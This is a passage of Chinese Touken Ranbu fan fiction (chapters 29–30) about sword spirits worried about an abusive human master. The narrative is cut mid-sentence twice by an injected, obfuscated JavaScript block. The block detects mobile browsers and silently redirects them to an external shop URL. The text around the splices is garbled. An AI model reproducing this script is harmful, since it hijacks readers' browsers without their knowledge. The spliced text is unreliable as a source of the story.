膝丸已经考虑过这个问题了,此刻无比淡定,“兄长你也看到家主对你的态度了吧。” 髭切点头,“唔,应该算是有些热情了?” “家主的性格就是小孩子一样,她等了兄长你很久,虽然只是住处的问题,但兄长你要是拒绝,她会闹的。” 髭切点头深思着,“这样啊。” 看起来的确像个没长大的小孩子性格,但是…… “请放心,兄长如果有什么需要的,我会帮兄长忙的!我们现在都在一个本丸,我们兄弟俩可以很经常见面的。” 话这么说也没错。 既然是好意,那就只能收下了。 “嗯,你说的也是。” 29.第 29 章 不在这里。 也不在这里。 那到底在哪里? 小乌呢? 膝丸在吃过早餐之后就发现原本待在部屋里的小乌不在,原本还没在意,只以为小乌去做什么了,结果去了一趟手入室后发现就连小乌的本体都不见了。 本体为什么会不见? 又出阵去了吗?他昨天可是重伤回来的,怎么连休息一天的时间都没有吗? 当然,还有一个膝丸并不愿意多想的可能性,那就是小乌人没有走,本体在那个人类手里,虽然不知道为什么突然发作,但膝丸现在就要去确认一下这件事情。 想也没多想,膝丸从手入室里跑出来,径直就往天守阁的方向赶,然后被在和其他刀剑聊天的髭切看到了,他满脸疑惑地将着急的弟弟喊住了。 “弟弟?发生什么事情了?怎么这么着急?” 膝丸停住脚步,他看着髭切的位置,然后道,“我要找小乌,小乌不见了。” 莺丸在一旁接道,“小乌去远征了啊。” 膝丸愣住,“远征?” 他心底不好的预感更深,真的是远征吗?用这个借口糊弄过好几次小乌的膝丸并没有放下戒心来。 然而,另一道声音的出现让他的心情顿时平静下来。 “嗯,那是叫远征啊,我刚刚看到了,那孩子和其他刀剑一起离开的本丸,弟弟不用太担心,我问过了,不会有危险的。” 啊,兄长看到了? 那就是真的。 还是和其他刀剑一起走的,那就不会一个人无知无觉地回来。 膝丸放下心来,随后下意识道,“真是,他远征怎么不和我说一声。”刚说完就意识到兄长一直注视着的目光,立马转移话题,“兄长今天有什么安排吗?” “还没有呢,家主说让我先适应一下这具身体,过段时间再安排我出阵。”髭切说着自己的事情,然后问膝丸,“弟弟你呢?” “我今天有畑当番。”膝丸在髭切面前叹气,然后打起精神来,“那我先去了,等我尽快完成任务就来找兄长你!” “好哦。” 髭切微笑着鼓励道,“要努力完成任务呀。” 看着膝丸离开,他想一旁问道,“弟弟和那孩子一直都是这么相处的吗?” “他们的关系一直都很好呢。” “这样啊。” 担心什么的很正常,但刚刚那个样子,弟弟是不是有些过于担心了? 莺丸看着正在思考的髭切出声道,“怎么了吗?” 髭切摇摇头,“感觉他们之间的关系有些出乎意料的要好呢。” 不过,既然没有人觉得奇怪,那就是说弟弟的表现是正常的咯,弟弟或者那孩子过去是发生什么事情了吗?髭切在心里思考着。 其实是想问些什么,但是…… 他偏头看向莺丸,在对方疑惑的目光中,“畑当番,会很困难吗?” 原来是在想这个?莺丸默了默,随后道,“其实可以做一会再喝点茶休息会儿的。” 髭切惊讶道,“这样吗?听起来好像不是很复杂的样子。” * 脑子昏昏沉沉的,好像是被什么东西给堵住了一样,不过远征调查并且寻找资源,相对于出阵而言,是一件相对简单不算复杂的事情,因而他的状态也不会影响什么。 明明昨天睡了很久,结果却还是一副没有休息好的样子。 早上去厨房吃早餐的时候看到了髭切大人,然后和髭切大人打了第一声招呼。 髭切大人看起来真的很温柔,和那个一开始就将他毫不留情丢出部屋的膝丸真的一点也不一样,虽然这里是有别的原因在里面,但扔了就是扔了! 和一起出发的队友分开搜寻调查,小乌压根就没有那个做任务认真调查的心思,这个时间又正好下起了雨,他浑然不在意地走在雨中,反正他现在也不会生锈。 好烦。 他觉得自己应该清醒一点,大家都这么说不是吗?只有这样才是最好的。 可是一想到膝丸,小乌就不自觉地沉下眸子。 黯沉的眸中压抑着的,垂眸静静地凝视着自己手中的本体,然后又松开。 不,不可以添麻烦。 不可以……不可以,但是,到底怎么做才是最好的? 要,刀剑相向? 不,不行,这种事情……他果然还是忍耐不住。 干毛巾狠狠地拍在某只湿透的脑袋上,力道很重,让被毛巾盖住的脑袋顿时就是一缩,“你出去远征怎么淋得一身湿回来?下雨了就不知道找个地方躲躲雨?” 膝丸不住地碎碎念着,“你还记得自己昨天才重伤回来的事情吗?还有啊,早上出去远征也不知道说一声,到底知不知道我会担心?” 已经换下了出阵服,小乌就这样低着头,任由膝丸对自己动手动脚的,口中自然是一副不觉得自己有错的态度,“不就是远征,又没有危险,有什么好担心的?” 膝丸正在给他擦头发的动作一顿,然后用力起来,手中的力道让小乌觉得膝丸有种想要将他脑袋给拔下来的感觉,“你不说谁知道你是出去远征的啊?啊?” “行了!我知道了!”小乌被晃得脖子疼,抬手想扒开膝丸的手,但这个姿势实在是不好发力,他只能抱住膝丸的手,“我真的知道了,下次会说的,膝丸你好麻烦啊!” “昨天,她来部屋找你说什么了吗?”膝丸忽然低声道。 小乌动作一顿,“什么?” 膝丸正在擦头发的动作停下,蹲下身,移开已经湿得差不多了的毛巾,和小乌的那双眼睛直视着,“我听其他刀剑说,她昨天去部屋看你了。” “昨天?”小乌晃了晃脑袋,他的眼里露出了疑惑,微微蹙着眉,“好像……有吗?好像有说让我加油提升实力,还有,不要让她失望什么的?” “只是这样?”膝丸不觉得事情会这么简单。 见膝丸无比严肃的表情,小乌犹豫了,“……可能?” 膝丸:“……” “算了,不太记得就不记得,”膝丸起身,“你没事就行。” “啊,”小乌抬头抿唇,一双眸子直直地注视着一旁的膝丸,将毛巾里的水挤掉,拿起他换下的已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666989|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全湿了的出阵服离开,双唇张开又合上,这才小声道,“我知道了。” 果然——他果然不能就这样看着,心底翻滚着的情绪停不下来,小乌敛眸又抬起,直勾勾地看向天守阁的方向,然后,下定了决心。 * 所谓放大内心的欲望。 小乌的欲望又是什么? 这点大概就只有小乌自己剖开内心才能更清楚地知道的一点,对于自己的存在,对于自己接受时之政府的契约接受召唤显现最终想要得到的是什么,他不曾迷茫过。 他憧憬着那位大人,希望自己可以站在那位大人身边,这点是毋庸置疑的事实。 他嫉妒着另一位大人,希望自己可以取代他的恶劣想法,这点也是绝对拥有过的。 小乌讨厌膝丸。 这是小乌给自己的设定,无论是谁只要问出来都能脱口而出的一句话。 来到本丸之前,小乌就想过自己不被喜欢的事实。 在髭切大人眼里,自己是替代了他弟弟的存在; 在膝丸的眼里,自己是替代过他的存在。 自己是替代品,被讨厌也是应该的吧。 因为髭切大人不能被讨厌,所以在被讨厌之前,他就先讨厌膝丸。 他才不怕被讨厌。 但,即使他真的发自内心地讨厌膝丸,也不能否认膝丸对他的重要性。 即使在历史中从未有过交集,即使是从未和膝丸相处过,在未至这个本丸之前,膝丸对小乌来说同样是重要的存在。 好像是被很多人都忘记了的,他是为何而诞生的? 哦,知道更多的应该是他作为代替品被髭切大人砍去一截的事情。 即使当时做出这一切的是还是身为刀剑的髭切大人,但是,逸闻流传下来的各种可能的情绪影响了太多,被讨厌,被伤害,关系不好,甚至于怨恨,或是种种。 为什么总会有人觉得自己会怨恨那两位中的谁? 他是髭切大人的仿刀,诞生的意义是代替膝丸陪伴在髭切大人身边。 如果没有膝丸的存在,一样也不会有他的诞生。 只是这样说。 只要这样说,应该就都能明白了吧。 膝丸这振刀的重要性对小乌的重要性。 无法容忍,不能容忍。 但现在做不到什么,说更多也没有意义,只有接受不停的出阵任务,努力提升自己,才能抓住可能的机会。 那个人类太过分了。 用假象和本丸迷惑髭切大人,除非她真的打算收手,一切都可以被掩盖下来。 但是很显然,她没有。 她想做什么? 只要他不收手,膝丸的情况早晚会瞒不住髭切大人,到那个时候究竟是什么情况?她到底要等到什么时候? 是想等到已经真心承认人类为主的髭切大人?到那个时候才去面对被主人伤害的最亲密的弟弟?或者给膝丸戴上莫名其妙的罪名? 这种未来,单单只是可能他都不愿意想象。 小乌敛去眸中的杀意,站在髭切的部屋外,抬手敲响了那扇门。 30.第 30 章 静—— 小乌安静地跪坐在髭切面前,低着头不再说话。 对于髭切来说,算是比较意外的,能够看到这孩子主动过来找自己,倒也不是因为他有着什么心思,只是这孩子毕竟是自家后辈吧。 但这孩子带来的消息对他来说就不是那么美好了。 “……竟然发生了这种事情吗?” 髭切的声音如常,即使是听到了弟弟目前的处境,也没有在小乌面前露出什么多么激动或者愤怒的情绪。 但是…… “弟弟他希望瞒住我啊。” 说到这里时,语气中多了几分莫名的无奈,该说什么呢?究竟是什么样的心情在呢? 小乌轻声道,“是,他不希望您担心。” “我明白膝丸的想法,因为您是他的兄长,他不希望您因为他被影响到,”小乌将膝丸的心思说出来,后面又加上了自己的心思,“……但是我害怕。” “害怕?” 髭切看着眼前的那道正在对着自己诉说心声的身影,轻声道, “我担心不知情的您被审神者蒙骗对膝丸动手,”小乌的额头此时已经贴在地面了,“对膝丸来说,被您误会这种事情比其他□□上的痛苦一定要可怕很多倍。” 髭切没有立刻回应。 他沉思着,随后出声,带着疑惑的思考,“啊,我会对弟弟动手吗?” 听到这个问题,小乌抬起头,然后立马出声称错,“对您做下这等臆测是我的不敬,可,可是我真的害怕见到这种事情发生,膝丸已经被大家误会过了。” 虽然…… 如果可能真的到这种地步的时候,他大概是没有机会看到了。 没有说什么要让髭切大人去做些什么的道理。 但是,髭切大人应该知晓一切吧,而不是被谎言和假象蒙在鼓里。 至于自己对膝丸那边答应的事情,自己答应了膝丸的事情明明只是不去给髭切大人添麻烦,可这种事情应该不算是是添麻烦吧, 自己那个时候到底为什么会因为膝丸的话犹豫接下来该怎么做呢? 这可是髭切大人啊—— 至于和那个人类有关系的事情,他会去做。 髭切大人无疑是强大的,但如今已经适应了人身拥有更强力量的是他,他更能做到! 髭切静静地注视着对面那双眼睛,尤其是那双眼睛里面似乎是无意识露出来的,他向前移动了自己的身体,抬手就覆上小乌的眼角。 “眼中的杀意都藏不住了呢,事情已经严重到你想要弑主的地步了吗?” 什么? 听到这里,小乌迷茫了一瞬。 随后猛地一个激灵,他皱起眉,脑海里像是摆脱了什么,突然一片清明起来。 小乌摇摇头,微微眨动的眼睛似乎是在将他那清醒的思绪拉回来。 这个状态,是被什么影响到了吗? 髭切若有所思,随后他抬手移动至小乌的发顶,轻柔的按着,“稍微放松一点,你害怕的那种事情是不会发生的啦,安心安心。” “……” “……我刚刚……” 小乌想说什么,但又因为自己的心态闭上了嘴。 “没关系,弟弟说的没错,的确是个好孩子呢。” 髭切笑出声。 小乌一怔,然后将脑袋低的更狠了些。 “也、也没有。” 髭切笑着,一边思考,一边道,“哦,对了,是叫小乌,对吗?” 小乌回过神来,“……嗯?嗯。” “虽然是知道了这种事情,但如果按照你说的那样,现在我也没办法多看着他,”髭切温声道,“弟弟那边,目前就只能拜托你多多照顾他了。” 被拜托了。 这种事情小乌当然不会拒绝。 “嗯!”小乌严肃道,“我一定会看好他,不会再给他糊弄我的机会了。” “哦?”髭切鼓励道,“很厉害呢。” 话至此,好像没有什么要说的了,小乌跪坐在原地有些不自在,尤其是在髭切大人此刻就坐在自己面前很近的位置,他的手指揪在一起,轻声道,“那我先离开了。” “嗯?好哦,记得要早点休息啊。” “您也是!” 看着小乌离开,站在门口再次对他恭敬地鞠了一躬之后才动作极轻地关上了房门,等到过了好一会儿,髭切眼底的笑意缓缓收起。 “因为……嫉妒?吗?” 阴影盖在眼睫处,“真是不得了的心理啊。” * 小乌从髭切的部屋里出来后,算是终于松了口气。 这样就好,这样就可以了。 只要这样就好了。 小乌站在髭切部屋门口握拳又打气,然后就准备离开回到自己的部屋,看了一眼就近的天守阁的位置,然后就看见了等在天守阁下面的人影。 那是…… 膝丸?! 小乌猛地瞪大眼睛,膝丸怎么这么晚了还在那里? 该死!髭切大人才刚来,那个人类竟然连几天都忍不了吗?太可恶了! 也没多想其他更多的原因,小乌抬脚便朝着膝丸的位置走过去,压抑着的怒火在碰到膝丸之后就先一步被对方抓住了。 没等他先一步询问什么,就听到膝丸着急道,“你没事吧?!” 小乌:“???” “什么?” 他在说什么? 有事的是你啊! 不是他! 你个傻子! 那个人类已经到了用自己来威胁膝丸的地步了吗? 想到此,小乌心中怒火更甚,以至于这个时候都不能清醒地思考了。 而这个时候他的话没有再说出口,就再一次地被膝丸给在中途打断了,或许是意识到自己的态度有些过激,膝丸也算是冷静了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718396|132317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,“你刚刚去哪了?” “我……” 小乌一噎,他瞥了一眼四周,还是觉得有什么事情他们两个私下里说,毕竟这件事情小乌不打算瞒着膝丸,“我们回去再说这件事情。” 膝丸盯着小乌,看着他这副明显就是做了什么不该做的事情的态度,只是看了一眼他近乎是随身携带的本体,眸子一暗,然后声音放缓,“好,我们先回去。” 结果刚回部屋,膝丸关上门,他看着小乌一副正襟危坐的态度,想也没想就在他身边蹲下,开始扯他的衣服。 小乌被膝丸这么一个动作给搞蒙了,刚想说的话都忘在了嘴边,他不理解,但这个时候竟然没有动作,就这么任由膝丸前前后后的在给他检查什么。 “你干什么?” 疯、疯了吗?膝丸终于是被那个人类给刺激疯了吗?小乌突然不敢动了,他担心会发生什么事情刺激到膝丸。 膝丸盯着小乌腹部还有肩膀处还没有完全恢复的伤口,除了一些地方之外就没有其他的痕迹了,微顿之后才像是突然反应过来什么,然后松开了手。 “把你的本体给我。”膝丸伸手去拿小乌放在一旁的本体。 不知道为什么,膝丸的眼神看得小乌心里发毛,他下意识地挪开,“你要本体干什么?” 虽然小乌是不介意将本体交给膝丸的,但他这副态度显然是不太对,而且,凭什么膝丸一说他就要将本体交出去啊?! 伸出去的手摸了个空,膝丸手指握了握,然后抬眸道,“你受伤了。” “我受伤?”小乌愣了愣,然后莫名其妙道,“是啊,我昨天才受的伤,现在还没有完全恢复,又没什么大不了的。” “给我看看。” “……” 看他那副为自己在担心的样子,小乌还是将自己的本体给了出去,然后道,“我真的没事,我也真的不想躺在手入室里,还有,本体不放在身边我不适应。” 膝丸抽出小乌的本体,定定地注视了一会儿,随后伸手在刀身上弹了弹,惊得小乌顿时就是一个激灵。 小乌真的感觉莫名其妙,“你?你在干什么啊?!” 见到他这副反应,膝丸反倒是松了口气,原先那股看得小乌发毛的眼神也逐渐有了变化,“没事,确认一下你是不是真的活蹦乱跳的,还是在骗我。” 小乌:“……” 他现在也算是反应过来膝丸是什么情况了?所以他不是被那个人类找去的,只是因为没有看到自己所以才找去了天守阁。 小乌不知道该说什么,最后只能向他伸手,“你的本体我也要看!” “我的本体有什么好看的?我又没受伤?”膝丸不明所以。 小乌哪管那么多,“我就要看!” 说着他威胁道,顺便还准备直接上手,“你不给我看我就直接扯你衣服看了!” 膝丸:“……” 这个糟心孩子。